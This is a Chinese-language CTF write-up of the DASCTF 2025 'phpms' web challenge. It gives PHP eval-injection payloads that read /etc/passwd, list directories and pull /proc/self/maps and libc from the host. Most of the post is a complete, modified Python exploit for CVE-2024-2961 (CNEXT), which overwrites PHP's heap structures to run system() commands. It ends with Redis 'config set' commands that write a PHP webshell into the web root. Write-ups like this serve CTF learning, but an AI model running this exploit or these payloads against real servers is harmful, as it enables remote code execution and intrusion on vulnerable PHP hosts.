DASCTF-2025上半年赛 web

OneZ3r0 Lv4

前言

好难啊T T

phpms

git stash 泄露

1
2
3
4
5
6
7
8
<?php
$shell = $_GET['shell'];
if(preg_match('/\x0a|\x0d/',$shell)){
echo ':(';
}else{
eval("#$shell");
}
?>

fuzz了一下disable function没啥用

打php原生类

1
2
3
4
5
6
7
8
9
读文件
index.php?shell=?><?php echo 'File contents: ';$context = new SplFileObject('/etc/passwd');foreach($context as $f){echo($f);}?>


列目录
index.php?shell=?><?php ini_get('open_basedir');$dir_array = array();$dir = new DirectoryIterator('glob:///*');foreach($dir as $d){$dir_array[] = $d->__toString();}$dir = new DirectoryIterator('glob:///.*');foreach($dir as $d){$dir_array[] = $d->__toString();}sort($dir_array);foreach($dir_array as $d){echo $d.' ';} ?>


?shell=?><?php $a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}

但是做到后面没有权限读 hintflag 了,等一手wp

CNEXT(CVE-2024-2961)

看了wp https://www.yuque.com/chuangfeimeiyigeren/eeii37/bkp6ldnifm2k3o1a
真是用cnext配合原生类读文件打,当时做的时候很奇怪,cnext跑差2个字符不一样,没过checkvulnerable,不知道什么情况(可能base64解2次有一些格式上的省略导致的出入?比如等号)

不过我还没打成过cnext,虽然之前遇到有类似的题目,但都不满足cnext利用的条件,所以先在vulhub复现一个感受一下 https://github.com/vulhub/vulhub/tree/master/php/CVE-2024-2961

总算知道了,这个poc脚本得在linux下跑,为此还特地研究了一下wsl2的镜像网络代理(不然真是访问下载太慢了)

image-20250627113537334
image-20250627113537334

常规的cnext是打不通的,因为使用的是SplFileObject进行文件读取,而这个函数配合filter chain的时候会产生buffer flush的截断,导致脚本误报错误跑不通,每次都少2个字符,得使用这个分步下载maps和libc的项目才行

https://github.com/kezibei/php-filter-iconv

1. 为什么需要 mapslibc.so

利用这个漏洞的核心难点在于 绕过 ASLR(地址空间布局随机化) 并实现精准的内存破坏。

  • /proc/self/maps(内存映射文件):你需要利用任意文件读取漏洞去读取目标的这个文件。它可以泄露目标进程中 libc.so 的基地址以及 PHP 堆(Heap)在内存中的确切起始位置。
  • libc.so(目标服务器的 C 标准库二进制文件):不同的系统和 glibc 版本中,核心函数(比如 system())的内存偏移量是不同的。读取目标实际使用的 libc.so,可以提取出 system() 等函数的精准偏移量。

有了这两者,漏洞利用脚本就能计算出 system() 函数在目标内存中的绝对真实地址。然后通过触发 iconv 的溢出,精准覆盖 PHP 内部堆管理结构(zend_mm_heap)中的 custom_heap._free 函数指针。

这样一来,当 PHP 释放内存块时,就会被劫持去直接调用 system('cmd'),从而实现无崩溃的稳定利用

2. 和原版 cnext exploit 的区别是什么?

原版是封装好的下载libc.so和maps一条龙服务

这个方便分步骤,单独把下载libc.so和maps分开

读取文件

1
?shell=?><?php $a = new DirectoryIterator("glob:///lib/x86_64-linux-gnu/*");foreach($a as $f){echo($f->__toString().'<br>');}

libc-2.31.so

1
2
3
curl 'http://3e439688-cf48-44b4-9f64-276f65250cb1.node5.buuoj.cn:81/?shell=?%3E%3C?php%20$context%20=%20new%20SplFileObject("/proc/self/maps");foreach($context%20as%20$f)%7Becho($f);%7D?%3E' -o maps

curl 'http://3e439688-cf48-44b4-9f64-276f65250cb1.node5.buuoj.cn:81/?shell=?%3E%3C?php%20$context%20=%20new%20SplFileObject("/lib/x86_64-linux-gnu/libc-2.31.so");foreach($context%20as%20$f)%7Becho($f);%7D?%3E' -o libc-2.31.so

然后运行脚本得到filter chain的payload

1
php://filter/read=zlib.inflate|zlib.inflate|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.UTF-8.ISO-2022-CN-EXT|convert.quoted-printable-decode|convert.iconv.latin1.latin1/resource=data:text/plain;base64,e3vXsO%2bOmQhbwrX3Jld6ysKDV5y4dc8qXCDnlVRm0NLTvkUtMce%2bn1gsYe6ZmsB85MH3xh/zLVbPFXwueHlTGAN%2bsGyDjnvM07KpVmlfxarXpuZNzBHAr6HBU%2be0YPjO2KV9kXuPxmXPjFaRZsGvI0HodNGR0Lzwlclh%2bRuvRz0TO8nGiN%2bKlXem664LWh90fM21OqYa%2be2/vh/d3T9/21693%2b277Kf93fpOP///VXZfo2vatfPfmyj9rCTgyQf/3%2b100/e/rZG8LW/j/qt2777/3fhufWl95e3st49XvpO3f7t9e/2%2bfU//9tfflz%2b5nQe/afef/ntq1fAHQlSesbt%2bI/7d78/tf3%2bu7J%2b%2b6/4nn0%2bp%2b/d/635%2b/e/Pwr9fneffA1p3vHTjt%2bBTxWv6a2P3353zfkL%2b1rfn8%2b/fe3KtX/v99fnr/lfdjr/29%2bfjr5r5f9tuL/936vS1YpmiPIlj33s86u4RisGNOtExS%2bOA8bE2MO3b1%2b3xyjflCGjheS4ome2WbbtNY3LHkv%2bjikcVjyqmt%2bLL0Vm9M6ft7rlq5xa5yGUTL6Fcvv2KlLFuueTq2p5NLp0p0gSU%2b%2bSvNE2LemcU9lsitVPopBkB5TOuBW3f4dUr/3Lj/E%2bFi/d0zz89f///j96agonWhCzKXgksfY71f7nhb3rKupvjNiOByiDK%2b%2b4jLdO6JcfrVgXei3T5wwoA

read即可rce,但是是www-data的

发现ps -ef以root身份启动了redis

1
2
3
4
5
6
7
8
9
10
redis-cli -h 127.0.0.1

auth admin123
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php phpinfo(); ?>"
save
quit

|redis-cli -h -p

同时读取/etc/redis.conf得到pass为admin123

魔改了一下脚本即可rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
# <?php
# $file = $_REQUEST['file'];
# $data = file_get_contents($file);
# echo $data;

from dataclasses import dataclass
from pwn import *
import zlib
import os
import time
import sys
import requests
import binascii

HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")


@dataclass
class Region:
"""A memory region."""

start: int
stop: int
permissions: str
path: str

@property
def size(self):
return self.stop - self.start


def print_hex(data):
hex_string = binascii.hexlify(data).decode()
print(hex_string)


def chunked_chunk(data: bytes, size: int = None) -> bytes:
"""Constructs a chunked representation of the given chunk. If size is given, the
chunked representation has size `size`.
For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
"""
# The caller does not care about the size: let's just add 8, which is more than
# enough
if size is None:
size = len(data) + 8
keep = len(data) + len(b"\n\n")
size = f"{len(data):x}".rjust(size - keep, "0")
return size.encode() + b"\n" + data + b"\n"


def compressed_bucket(data: bytes) -> bytes:
"""Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
return chunked_chunk(data, 0x8000)


def compress(data) -> bytes:
"""Returns data suitable for `zlib.inflate`."""
# Remove 2-byte header and 4-byte checksum
return zlib.compress(data, 9)[2:-4]


def ptr_bucket(*ptrs, size=None) -> bytes:
"""Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
if size is not None:
assert len(ptrs) * 8 == size
bucket = b"".join(map(p64, ptrs))
bucket = qpe(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = compressed_bucket(bucket)

return bucket


def qpe(data: bytes) -> bytes:
"""Emulates quoted-printable-encode."""
return "".join(f"={x:02x}" for x in data).upper().encode()


def b64(data: bytes, misalign=True) -> bytes:
payload = base64.b64encode(data)
if not misalign and payload.endswith("="):
raise ValueError(f"Misaligned: {data}")
return payload


def _get_region(regions, *names):
"""Returns the first region whose name matches one of the given names."""
for region in regions:
if any(name in region.path for name in names):
break
else:
failure("Unable to locate region")
return region


def find_main_heap(regions):
# Any anonymous RW region with a size superior to the base heap size is a
# candidate. The heap is at the bottom of the region.
heaps = [
region.stop - HEAP_SIZE + 0x40
for region in reversed(regions)
if region.permissions == "rw-p"
and region.size >= HEAP_SIZE
and region.stop & (HEAP_SIZE - 1) == 0
and region.path == ""
]

if not heaps:
failure("Unable to find PHP's main heap in memory")

first = heaps[0]

if len(heaps) > 1:
heaps = ", ".join(map(hex, heaps))
print("Potential heaps: " + heaps + " (using first)")
else:
print("[*]Using " + hex(first) + " as heap")

return first


def get_regions(maps_path):
"""Obtains the memory regions of the PHP process by querying /proc/self/maps."""
f = open("maps", "rb")
maps = f.read().decode()
PATTERN = re.compile(
r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
)
regions = []
for region in maps.split("\n"):
# print(region)
match = PATTERN.match(region)
if match:
start = int(match.group(1), 16)
stop = int(match.group(2), 16)
permissions = match.group(3)
path = match.group(4)
if "/" in path or "[" in path:
path = path.rsplit(" ", 1)[-1]
else:
path = ""
current = Region(start, stop, permissions, path)
regions.append(current)
else:
print("[*]Unable to parse memory mappings")

print("[*]Got " + str(len(regions)) + " memory regions")
return regions


def get_symbols_and_addresses(regions):

# PHP's heap
heap = find_main_heap(regions)

# Libc
libc_info = _get_region(regions, "libc-", "libc.so")

return heap, libc_info


def build_exploit_path(libc, heap, sleep, padding, cmd):
LIBC = libc
ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
ADDR_EFREE = LIBC.symbols["__libc_system"]
ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]
ADDR_HEAP = heap
ADDR_FREE_SLOT = ADDR_HEAP + 0x20
ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

CS = 0x100

# Pad needs to stay at size 0x100 at every step
pad_size = CS - 0x18
pad = b"\x00" * pad_size
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = compressed_bucket(pad)

step1_size = 1
step1 = b"\x00" * step1_size
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1, CS)
step1 = compressed_bucket(step1)

# Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
# ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"

step2_size = 0x48
step2 = b"\x00" * (step2_size + 8)
step2 = chunked_chunk(step2, CS)
step2 = chunked_chunk(step2)
step2 = compressed_bucket(step2)

step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
step2_write_ptr = chunked_chunk(step2_write_ptr)
step2_write_ptr = compressed_bucket(step2_write_ptr)

step3_size = CS

step3 = b"\x00" * step3_size
assert len(step3) == CS
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = compressed_bucket(step3)

step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
assert len(step3_overflow) == CS
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = compressed_bucket(step3_overflow)

step4_size = CS
step4 = b"=00" + b"\x00" * (step4_size - 1)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = compressed_bucket(step4)

# This chunk will eventually overwrite mm_heap->free_slot
# it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
step4_pwn = ptr_bucket(
0x200000,
0,
# free_slot
0,
0,
ADDR_CUSTOM_HEAP, # 0x18
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
ADDR_HEAP, # 0x140
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
size=CS,
)

step4_custom_heap = ptr_bucket(ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18)

step4_use_custom_heap_size = 0x140

COMMAND = cmd
COMMAND = f"kill -9 $PPID; {COMMAND}"
if sleep:
COMMAND = f"sleep {sleep}; {COMMAND}"
COMMAND = COMMAND.encode() + b"\x00"

assert len(COMMAND) <= step4_use_custom_heap_size, (
f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
)
COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

step4_use_custom_heap = COMMAND
step4_use_custom_heap = qpe(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
pages = (
step4 * 3
+ step4_pwn
+ step4_custom_heap
+ step4_use_custom_heap
+ step3_overflow
+ pad * padding
+ step1 * 3
+ step2_write_ptr
+ step2 * 2
)

resource = compress(compress(pages))
resource = b64(resource)
resource = f"data:text/plain;base64,{resource.decode()}"

filters = [
# Create buckets
"zlib.inflate",
"zlib.inflate",
# Step 0: Setup heap
"dechunk",
"convert.iconv.latin1.latin1",
# Step 1: Reverse FL order
"dechunk",
"convert.iconv.latin1.latin1",
# Step 2: Put fake pointer and make FL order back to normal
"dechunk",
"convert.iconv.latin1.latin1",
# Step 3: Trigger overflow
"dechunk",
"convert.iconv.UTF-8.ISO-2022-CN-EXT",
# Step 4: Allocate at arbitrary address and change zend_mm_heap
"convert.quoted-printable-decode",
"convert.iconv.latin1.latin1",
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"

# 因为我下面传参使用了params,所以需要注释掉这个url编码
# path = path.replace("+", "%2b")
return path


def gen(path):
payload = {
"shell": f"?><?php echo 'File contents: ';$context = new SplFileObject('{path}');foreach($context as $f){{echo($f);}}?>"
}
return payload


if __name__ == "__main__":
url = sys.argv[1]
cmd = sys.argv[2]

maps_path = "./maps"

# file to storage result
cmd += "> /tmp/1.txt"
sleep_time = 1
padding = 20

if not os.path.exists(maps_path):
exit("[-]no maps file")

regions = get_regions(maps_path)
heap, libc_info = get_symbols_and_addresses(regions)

libc_path = libc_info.path
print("[*]download: " + libc_path)

libc_path = "./libc-2.31.so"
if not os.path.exists(libc_path):
exit("[-]no libc file")

libc = ELF(libc_path, checksec=False)
libc.address = libc_info.start

payload = build_exploit_path(libc, heap, sleep_time, padding, cmd)

# print("[*]payload:")
# print(gen(payload))

# exp
exploit = requests.get(url, params=gen(payload))
# print(exploit.text)

# read
read = requests.get(url, params=gen("/tmp/1.txt"))
print(read.text)

image-20260220185051863
image-20260220185051863

1
echo 'auth admin123\nconfig set dir /var/www/html/\nconfig set dbfilename shell.php\nset x "<?php phpinfo(); ?>"\nsave\nquit' | redis-cli -h 127.0.0.1

不知道为啥,可能是redis里面存了flag吧,直接就有了

image-20260220185002507
image-20260220185002507

  • 标题: DASCTF-2025上半年赛 web
  • 作者: OneZ3r0
  • 创建于 : 2025-06-21 15:04:06
  • 更新于 : 2026-03-01 11:33:36
  • 链接: https://blog.onez3r0.top/2025/06/21/dasctf-2025-first-half/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。